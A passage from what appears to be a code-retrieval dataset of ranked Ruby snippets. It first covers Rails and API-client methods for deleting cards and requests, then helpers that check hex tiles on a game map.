"text": "def delete_customer_card(customer_id:,\n card_id:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/customers/{customer_id}/cards/{card_id}'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'customer_id' => { 'value' => customer_id, 'encode' => true },\n 'card_id' => { 'value' => card_id, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.delete(\n _query_url,\n headers: _headers\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"title": ""
},
{
"docid": "56d5a1f87d579c18fcb7eab7414f4c3c",
"score": "0.6244078",
"text": "def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "da9f1053b17c20e5777574fed3786213",
"score": "0.6232372",
"text": "def destroy\n @card.delete\n render json: {messsage: \"Movie/Series Card was successfully deleted.\"}, status: 204\n end",
"title": ""
},
{
"docid": "04d4c282e38cc968f7becd48911a0843",
"score": "0.6230794",
"text": "def revoke_card_from_signed_request(revocation_request)\n http_request = Client::HTTP::Request.new(\n method: HTTP::Request::DELETE,\n endpoint: \"/#{Card::VRA_VERSION}/card/#{revocation_request.card_id}\",\n body: revocation_request.request_model\n )\n self.ra_connection.send_request(http_request)\n end",
"title": ""
},
{
"docid": "36cef62119f23ef9657f01ee7ad386a1",
"score": "0.62226003",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n respond_with(@request)\n end",
"title": ""
},
{
"docid": "a2925bf08408281ac46962a21dfe43f4",
"score": "0.6220641",
"text": "def destroy\n @payment_request.destroy\n respond_to do |format|\n format.html { redirect_to payment_requests_url, notice: \"Payment request was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a4a471debc558db4486cae7215ba1c64",
"score": "0.6219851",
"text": "def destroy\n ActiveRecord::Base.transaction do\n Request.find(params[:id]).destroy!\n end\n flash[:notice] = \"Request #{params[:id]} has been removed!\"\n redirect_to requests_path\n end",
"title": ""
},
{
"docid": "4f1dfd2c80bbb251baf8b6e5f3072ee7",
"score": "0.6205232",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4f1dfd2c80bbb251baf8b6e5f3072ee7",
"score": "0.6205232",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4f1dfd2c80bbb251baf8b6e5f3072ee7",
"score": "0.6205232",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6673b62b406776189e83202fb1061050",
"score": "0.6180797",
"text": "def delete(request_opts = {})\n store_result(http(request_opts).delete(resolved_path))\n end",
"title": ""
},
{
"docid": "5fd0ef742f543c3640a8cc059206ca1a",
"score": "0.6179272",
"text": "def delete request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, _body, query_string_params = transcode_delete_request request_pb\n response = @client_stub.make_delete_request(\n uri: uri,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"title": ""
},
{
"docid": "5fd0ef742f543c3640a8cc059206ca1a",
"score": "0.6179272",
"text": "def delete request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, _body, query_string_params = transcode_delete_request request_pb\n response = @client_stub.make_delete_request(\n uri: uri,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end",
"title": ""
},
{
"docid": "a5e669b4a2629571810f685d62eca114",
"score": "0.6171595",
"text": "def delete_request(req)\n req[:sqs_msg].delete\n end",
"title": ""
},
{
"docid": "99d15833cce6ca705c4c9570afd7abab",
"score": "0.6166533",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n respond_with()\n end",
"title": ""
},
{
"docid": "3eedc218ad5e53a90114e59211e1179e",
"score": "0.61457676",
"text": "def destroy\n find_request\n @request.destroy\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "3eedc218ad5e53a90114e59211e1179e",
"score": "0.61457676",
"text": "def destroy\n find_request\n @request.destroy\n redirect_to root_url\n end",
"title": ""
},
{
"docid": "10e8e1fb99aac459a2e0a590d586c275",
"score": "0.6143213",
"text": "def remove remove_card\n @card_list.remove remove_card\n end",
"title": ""
},
{
"docid": "5cae0f45793391cf99ddf844cf8e3306",
"score": "0.61424875",
"text": "def destroy\n # @card = Card.destroy(params[:id])\n # render json: 200\n end",
"title": ""
},
{
"docid": "a2b289e200fd031733759d3866be21ec",
"score": "0.612512",
"text": "def destroy\n #@card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url, :notice => 'Card successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31513ee4b9b395307ca62898cc45d20f",
"score": "0.6103773",
"text": "def destroy\r\n\r\n @connection_request = ConnectionRequest.find(params[:id])\r\n @connection_request.destroy\r\n\r\n render json: {:status => :success, :data => @connection_request}\r\n end",
"title": ""
},
{
"docid": "23f304fec9b6cc4e900af9fa93d24e9b",
"score": "0.6100371",
"text": "def destroy_payment_card(card_id)\n c_r Lokalise::Resources::PaymentCard, :destroy, card_id\n end",
"title": ""
},
{
"docid": "238c215a96f346d29c1682f0a30487bf",
"score": "0.6091522",
"text": "def delete_customer_card(customer_id:,\n card_id:)\n warn 'Endpoint delete_customer_card in CustomersApi is deprecated'\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::DELETE,\n '/v2/customers/{customer_id}/cards/{card_id}',\n 'default')\n .template_param(new_parameter(customer_id, key: 'customer_id')\n .should_encode(true))\n .template_param(new_parameter(card_id, key: 'card_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"title": ""
},
{
"docid": "5fb07a809ac73597f043444aacef3fba",
"score": "0.608485",
"text": "def delete_card\n\t\t@card = Cardsort.find(params[:cardsort_id]).cards.find(params[:card_id]);\n\t\t@card.destroy\n\t\trespond_to do |format|\n\t\t\tformat.js { render \"delete_card\"}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "eebf288897a22af64d063f17d8dc1123",
"score": "0.60792106",
"text": "def remove remove_card\r\n @card_list.remove remove_card\r\n end",
"title": ""
},
{
"docid": "f7620a7dad6e2d8f59c255d36fbbae84",
"score": "0.6078907",
"text": "def destroy\n @request = @skill.requests.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to myrequests_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "962a388ac17d642ffedb689f623a854a",
"score": "0.6078642",
"text": "def destroy\n scope = Request.where(:user_id => current_user.id)\n\n @request = scope.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "17eb83d445847f5dd109628ed306b7fe",
"score": "0.6070019",
"text": "def delete_catalog_item request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_catalog_item_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "885f05d006fcdc717135ca193e742760",
"score": "0.6065119",
"text": "def delete_transfer_job request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_transfer_job_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "9a3d4a346be08eb092eddd1769e09310",
"score": "0.6064167",
"text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to card_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5467c0ec3b44bf2c0de0a57784b4f123",
"score": "0.606132",
"text": "def destroy\n card = Card.find( params[:id] )\n card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9465ca4e1b20f5695d71d070c3218125",
"score": "0.6060588",
"text": "def delete(obj_or_request)\n Connection.new.delete get_request(obj_or_request)\n end",
"title": ""
},
{
"docid": "a85525e1247e7d97b64f7c2b8a5414ab",
"score": "0.6058443",
"text": "def destroy\n if !session[:admin] && @request && session[:id] != @request.student_id\n flash[:notice] = \"You do not have permission to remove this request\"\n redirect_to(requests_path)\n elsif params[:helped]\n if Request.where(id: params[:id]).count > 0\n student = Student.where(id_num: @request.student_id).take\n\n past = PastRequest.create(student_id: student.id_num,\n removed_by: session[:id],\n time_waited: calc_wait(@request.created_at),\n received_help: false)\n\n @request.destroy\n respond_to do |format|\n format.html { redirect_to past, notice: \"Request for #{student.name} was removed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request already removed.\" }\n format.json { head :no_content }\n end\n end\n else\n if Request.where(id: params[:id]).count > 0\n student = Student.where(id_num: @request.student_id).take\n\n PastRequest.create(student_id: student.id_num,\n removed_by: session[:id],\n time_waited: calc_wait(@request.created_at),\n received_help: false)\n\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request for #{student.name} was removed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to requests_url, notice: \"Request already removed.\" }\n format.json { head :no_content }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f6e186f93d729fb35c8bf8e4076a960e",
"score": "0.6057399",
"text": "def destroy\n if (@request.destroy)\n flash[:success] = \"Request destroyed!\"\n else\n flash[:danger] = \"Unable to destroy request!\"\n end\n redirect_to requests_url\n end",
"title": ""
},
{
"docid": "0701a7ece316b80ba32589d0a1147f8b",
"score": "0.60546875",
"text": "def delete_request(name)\n path = to_path(@requestdir, name)\n delete_pem(path)\n rescue SystemCallError => e\n raise Puppet::Error.new(_(\"Failed to delete certificate request for '%{name}'\") % {name: name}, e)\n end",
"title": ""
},
{
"docid": "cc2b49a3b6f7780f2690bee4473426f0",
"score": "0.60535085",
"text": "def cards_delete(id, opts = {})\n cards_delete_with_http_info(id, opts)\n nil\n end",
"title": ""
},
{
"docid": "3ccb94af6dd012d438421fea09fc7235",
"score": "0.60464305",
"text": "def destroy\n @card = Card.find(params[:id])\n\n @current_user = User.find_by_id(session[:user_id])\n\n unless @current_user.admin?\n flash[:error] = \"You do not have permission to update a card\"\n redirect_to cards_path(@cards)\n return\n end\n\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "93f918d8c2d48470014710459a53be55",
"score": "0.60462534",
"text": "def delete_card\n prompt = TTY::Prompt.new\n your_cards = self.cards\n card_names = your_cards.map { |card| card[\"name\"] }\n selected_card_name = prompt.select('Choose a character to delete', card_names, filter: true, cycle: true, help: \"(Start typing to filter results)\", help_color: :green, active_color: :yellow)\n selected_card = Card.find_by(name: selected_card_name)\n choice = UserCard.find_by user_id: self.id, card_id: selected_card.id\n response = prompt.select(\"Are you sure you want to delete #{selected_card_name.upcase}?\", %w(Yes No))\n if response == \"Yes\"\n choice.destroy\n bar = TTY::ProgressBar.new(\"Deleting #{selected_card_name.upcase} [:bar]\", total: 30)\n 30.times do\n sleep(0.05)\n bar.advance(1)\n end\n puts \"#{choice.card.name.upcase} was deleted from your collection!\"\n sleep(1)\n system('clear')\n title\n else\n check_collection\n end\n end",
"title": ""
},
{
"docid": "043a2d640e435cb36b2cbac0456e4d05",
"score": "0.6042841",
"text": "def delete_request(request_data = {}, errback = DEFAULT_ERROR, &blk)\n req = create_test_request(request_data).delete(request_data)\n hookup_request_callbacks(req, errback, &blk)\n end",
"title": ""
},
{
"docid": "88358a3e946b185a338b8550c0dee77c",
"score": "0.6042476",
"text": "def delete(requested_object_id, options = {})\n post(requested_object_id, options.merge(:method => 'delete'))\n end",
"title": ""
},
{
"docid": "8f799eed531a77a684f76d880fca1833",
"score": "0.60423106",
"text": "def destroy\n unless @link_request.owned_by(@user)\n logger.error \"#{@user.netid} tried to delete request #{@link_request.id}\"\n return redirect_to link_requests_path, notice: \"You do not have enough access to delete that request\"\n end\n # if @link_request.status == :approved\n @link_request.delete_by(@user)\n # else\n # @link_request.destroy\n Activity.create(user: @user, verb: 'destroy', link_request: @link_request, occurred: Time.now)\n # end\n \n respond_to do |format|\n format.html { redirect_to link_requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "23926d790d1fb2989514db8fdff17d1c",
"score": "0.604194",
"text": "def destroy!\n response = perform(:delete, ref)\n @ref = nil\n @last_request_time = response.request_time\n true\n end",
"title": ""
},
{
"docid": "23926d790d1fb2989514db8fdff17d1c",
"score": "0.604194",
"text": "def destroy!\n response = perform(:delete, ref)\n @ref = nil\n @last_request_time = response.request_time\n true\n end",
"title": ""
},
{
"docid": "7a5eea7c7a07ce3e7f95fa50802d596e",
"score": "0.6039066",
"text": "def delete path\n make_request(path, \"delete\", {})\n end",
"title": ""
},
{
"docid": "7c60a263ebd2450d50a13833b194ed4a",
"score": "0.6036352",
"text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c60a263ebd2450d50a13833b194ed4a",
"score": "0.6036352",
"text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c60a263ebd2450d50a13833b194ed4a",
"score": "0.6036352",
"text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "38953fcd6dbb629730b740c2588a8c26",
"score": "0.60352665",
"text": "def delete(uri, request_headers)\n request('delete', uri, request_headers)\n end",
"title": ""
},
{
"docid": "5d3a76ad3fead5d55eed1a868d7c833d",
"score": "0.60271406",
"text": "def delete(attrs = {}, request_opts = {})\n self.new(attrs).delete(request_opts)\n end",
"title": ""
},
{
"docid": "2fd9a2afe9aa2c5fb3796c89f7d9cbe0",
"score": "0.6019634",
"text": "def delete_customer request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_customer_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "d98a8f3b4e85838f299c459983787bb2",
"score": "0.6019249",
"text": "def destroy\n @request = Request.find(params[:id])\n @request_items = @request.request_items\n @request_items.each do |ri|\n ri.destroy\n end\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4bc74cb4dd7d244a3f26a12f3cc87641",
"score": "0.6010342",
"text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "788513fc5379cb1001141dc0bccf0ce1",
"score": "0.6009442",
"text": "def destroy\n @expansion_of_card = ExpansionOfCard.find(params[:id])\n @expansion_of_card.destroy\n\n respond_to do |format|\n format.html { redirect_to(expansion_of_cards_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6b304c2d991ba642a23e0ead9fd88c39",
"score": "0.6006022",
"text": "def delete_account request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_account_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "c3e09ecae3fb07f63dd14d6fc37e21f7",
"score": "0.6003104",
"text": "def destroy\n @card.destroy\n \n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'Card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c8d27c9a902fde361371308ae5fbfe16",
"score": "0.60010177",
"text": "def destroy\n @card = Card.find(params[:id])\n @card.destroy\n\n notify_admin(\"Card Removed (#{@card.last_three_digits})\", @card.as_json)\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c5ad4e648e7722b40627beed0dc8d012",
"score": "0.6000799",
"text": "def delete(request)\n @connection.delete request.path do |req|\n req.body = request.params\n end\n end",
"title": ""
},
{
"docid": "f0c837b727f52d0382643a3d815710f5",
"score": "0.6000181",
"text": "def destroy\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1ff548ed3e9718773ea22feed24a042",
"score": "0.5996442",
"text": "def do_delete(uri = '')\n build_request(:delete, uri)\n end",
"title": ""
},
{
"docid": "2c747d229bb27451683487ba37af923f",
"score": "0.5991026",
"text": "def destroy\n @car_request.destroy\n respond_to do |format|\n format.html { redirect_to car_requests_url, notice: 'Car request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20c6d17779253ee36f530e82ab2ae806",
"score": "0.5989557",
"text": "def delete request_pb, options:, &block\n request_json = JSON.parse ::Google::Cloud::Compute::V1::DeleteSecurityPolicyRequest.encode_json(request_pb)\n\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}\"\n\n result_json = @client_stub.make_delete_request(\n uri: uri,\n options: options,\n &block\n )\n\n ::Google::Cloud::Compute::V1::Operation.decode_json result_json[:body], { ignore_unknown_fields: true }\n end",
"title": ""
},
{
"docid": "13b530af8d5cbd047239c0d2e9b73370",
"score": "0.59868807",
"text": "def destroy\n request = Request.find_by_id(params[:id])\n if request\n # delete the request and all associated messages and volunteering\n request.destroy\n render json: {\n status: 'success',\n message: 'Request deleted',\n },\n status: :ok\n else\n render status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "7f60274757d3efaa20ff2e05a567347f",
"score": "0.5982831",
"text": "def destroy\n @entry_card.destroy\n respond_to do |format|\n format.html { redirect_to entry_cards_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "248b0172213dbceed56054b85ce490a1",
"score": "0.5979954",
"text": "def destroy\n @case_request.destroy\n respond_to do |format|\n format.html { redirect_to case_requests_url, notice: 'Case request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b567b99f3742ccb08ab00788bea7ad96",
"score": "0.59785885",
"text": "def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b567b99f3742ccb08ab00788bea7ad96",
"score": "0.59785885",
"text": "def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b567b99f3742ccb08ab00788bea7ad96",
"score": "0.59785885",
"text": "def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url, notice: 'Request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
dcaacfdbaca2e88f8738355afc18deae
|
Returns true if this tile represents a X or T hex on the base map
|
[
{
"docid": "fe279fb62a6e234a979d92d2c20330c1",
"score": "0.79673165",
"text": "def map_x_or_t?(tile)\n return false unless tile.color == :white\n\n tile.label.to_s.include?('X') || tile.label.to_s.include?('T')\n end",
"title": ""
}
] |
[
{
"docid": "96b3cf96bddcbe9be0755d2c86f51a16",
"score": "0.7272137",
"text": "def yellow_x?(tile)\n return false unless tile.color == :yellow\n\n tile.hex.original_tile.label.to_s.include?('X')\n end",
"title": ""
},
{
"docid": "61b40d818ec307adc40972e7b2893a8f",
"score": "0.70880276",
"text": "def brown_cx?(tile)\n return false unless tile.color == :brown\n\n tile.hex.original_tile.label.to_s.include?('CX')\n end",
"title": ""
},
{
"docid": "64a0d3a4edec51261eb4122779fefef5",
"score": "0.6857032",
"text": "def home_hex?(operator, hex)\n operator.coordinates.include?(hex.coordinates)\n end",
"title": ""
},
{
"docid": "ca19bd81f1bb0c678d1737737748fccf",
"score": "0.6699496",
"text": "def valid_hex?\n !self[/\\H/]\n end",
"title": ""
},
{
"docid": "ca19bd81f1bb0c678d1737737748fccf",
"score": "0.6699496",
"text": "def valid_hex?\n !self[/\\H/]\n end",
"title": ""
},
{
"docid": "7f375ba9f16f0b2321f9e714dcf82ff1",
"score": "0.658621",
"text": "def upgrade_tokenable?(hex)\n from = hex.tile\n\n return false if from.color == :yellow && !@phase.tiles.include?(:green)\n return false if from.color == :green && (from.label.to_s != 'N' || !@phase.tiles.include?(:brown))\n return false if from.color == :brown\n\n from_exits = from.exits\n legal_exits = Engine::Tile::ALL_EDGES.select { |e| from.hex.neighbors[e] }\n @tiles.any? do |to|\n next unless Engine::Tile::COLORS.index(to.color) == (Engine::Tile::COLORS.index(from.color) + 1)\n next unless upgrades_to_correct_label?(from, to)\n\n to_exits = to.exits\n Engine::Tile::ALL_EDGES.any? { |rot| exits_match?(to_exits, rot, from_exits, legal_exits) }\n end\n end",
"title": ""
},
{
"docid": "71623fd302ac00b0ea38257d53aa96d3",
"score": "0.65693855",
"text": "def is_hex?\n !!(self =~ /^[0-9a-fA-F]+$/)\n end",
"title": ""
},
{
"docid": "ffeb48c206de1db6d9096989409d5eda",
"score": "0.6559055",
"text": "def yellow_t?(tile)\n return false unless tile.color == :yellow\n\n tile.hex.original_tile.label.to_s.include?('T')\n end",
"title": ""
},
{
"docid": "19f4866ebe5e87a02053c8fbf39e4f46",
"score": "0.65333855",
"text": "def loosely_contains?(point)\n raise \"Call #setup_hex first!\" if @hex_center.nil? || @hex_size.nil?\n\n ((point.x_coord - @hex_center.x_coord).abs <= @hex_size) && ((point.y_coord - @hex_center.y_coord).abs <= hex_v_size)\n end",
"title": ""
},
{
"docid": "2666d571fccc5e577201cb30361a3493",
"score": "0.6436622",
"text": "def tile_exists_at? position\n c = get_map_cell position\n c[0] >=0 and c[0] <@width-1 and c[1] >=0 and c[1] <=@height-1\n end",
"title": ""
},
{
"docid": "c98705e636492835c3d8c1e09d7a9d3c",
"score": "0.64260095",
"text": "def syntax_ok? tile\n\trow = tile[0]\n\tcolumn = tile[1]\n\treturn (\"A\"..\"H\").include?(row) && (\"1\"..\"8\").include?(column)\nend",
"title": ""
},
{
"docid": "c98705e636492835c3d8c1e09d7a9d3c",
"score": "0.64260095",
"text": "def syntax_ok? tile\n\trow = tile[0]\n\tcolumn = tile[1]\n\treturn (\"A\"..\"H\").include?(row) && (\"1\"..\"8\").include?(column)\nend",
"title": ""
},
{
"docid": "f1f0488fbc825b3f80ddfc33e89f5eeb",
"score": "0.6399487",
"text": "def hex?\n self =~ /^[0-9a-fA-F]+$/ ? true : false\n end",
"title": ""
},
{
"docid": "32c8ea0448a5864f548a81d2ba5fc457",
"score": "0.6390744",
"text": "def mapped?\n to_u128 >> 32 == 0xffff\n end",
"title": ""
},
{
"docid": "b7f0bcabe1a2758364cd6240e5a20e02",
"score": "0.6369588",
"text": "def is_hex? ; (self =~ /^[a-f0-9]+$/i)? true : false ; end",
"title": ""
},
{
"docid": "119fe520fb1c114bcdd8c59693a1c5d9",
"score": "0.6362504",
"text": "def is_hex?\n\t\t\tif self.code == :hex || self.correct_format?\n\t\t\t\tself.code = :hex\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "efb301a092ffb883657c3867184d7583",
"score": "0.6302268",
"text": "def modhex?\n self =~ /^[cbdefghijklnrtuv]+$/ ? true : false\n end",
"title": ""
},
{
"docid": "ed421d0c722be648a6845d1802b636bb",
"score": "0.61894083",
"text": "def hexagonal?\n return false unless self.triangular?\n (Math.sqrt(8*self + 1).round + 1) / 6\n end",
"title": ""
},
{
"docid": "16c7ba7dfca778e383bd40d8e5a91b24",
"score": "0.61846256",
"text": "def bush?\n return $game_map.pixel_table[@px, @py, 4] == 1\n end",
"title": ""
},
{
"docid": "16c7ba7dfca778e383bd40d8e5a91b24",
"score": "0.61846256",
"text": "def bush?\n return $game_map.pixel_table[@px, @py, 4] == 1\n end",
"title": ""
},
{
"docid": "87c8374ca30955138837754ebe5bde88",
"score": "0.6169212",
"text": "def base_16?\n\t\t!self[/\\H/]\n\tend",
"title": ""
},
{
"docid": "21dfcb000a17496a29798efa3b8ab4b9",
"score": "0.6159397",
"text": "def ishex? ; (self =~ /^[a-f0-9]+$/i) != nil ; end",
"title": ""
},
{
"docid": "06b9d849d144bc65cc7e20a537f7496c",
"score": "0.6108524",
"text": "def hexagonal?\r\n return false unless r = ((self << 3) + 1).square?\r\n return false unless 0 == (1 + r) & 3\r\n\r\n return (1 + r) >> 2\r\n end",
"title": ""
},
{
"docid": "6150bc07714d73f1ff3089c0d1db2c10",
"score": "0.6107357",
"text": "def is_hex?\n self =~ /[0-9a-fA-F]{4}+/\n end",
"title": ""
},
{
"docid": "091b8e47804dfcd72c6f7102358ac634",
"score": "0.60474306",
"text": "def is_able_to_draw_tiles?(num)\n return num.class == Integer && num.between?(1, MAX_LETTERS) &&\n @tiles_remaining > 0\n end",
"title": ""
},
{
"docid": "32e55aae5b6aff1c34f9af5d9f270f82",
"score": "0.60416347",
"text": "def valid_tile?(tile_id)\n x, y = Tile.from_string(tile_id).coordinates\n (x <= self.width && x >= 0 && y <= self.height && y >= 0)\n end",
"title": ""
},
{
"docid": "1e485dbcba2d0f3aadd79745ea38b5ac",
"score": "0.60367525",
"text": "def bush?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x40 == 0x40\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "1e485dbcba2d0f3aadd79745ea38b5ac",
"score": "0.60367525",
"text": "def bush?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x40 == 0x40\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "1e485dbcba2d0f3aadd79745ea38b5ac",
"score": "0.60367525",
"text": "def bush?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x40 == 0x40\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "6d33a7dc3d9a15e3c9c46b4cd625f77b",
"score": "0.59992963",
"text": "def counter?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x80 == 0x80\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "6d33a7dc3d9a15e3c9c46b4cd625f77b",
"score": "0.59992963",
"text": "def counter?(x, y)\n if @map_id != 0\n for i in [2, 1, 0]\n tile_id = data[x, y, i]\n if tile_id == nil\n return false\n elsif @passages[tile_id] & 0x80 == 0x80\n return true\n end\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "6d33a7dc3d9a15e3c9c46b4cd625f77b",
"score": "0.59992963",
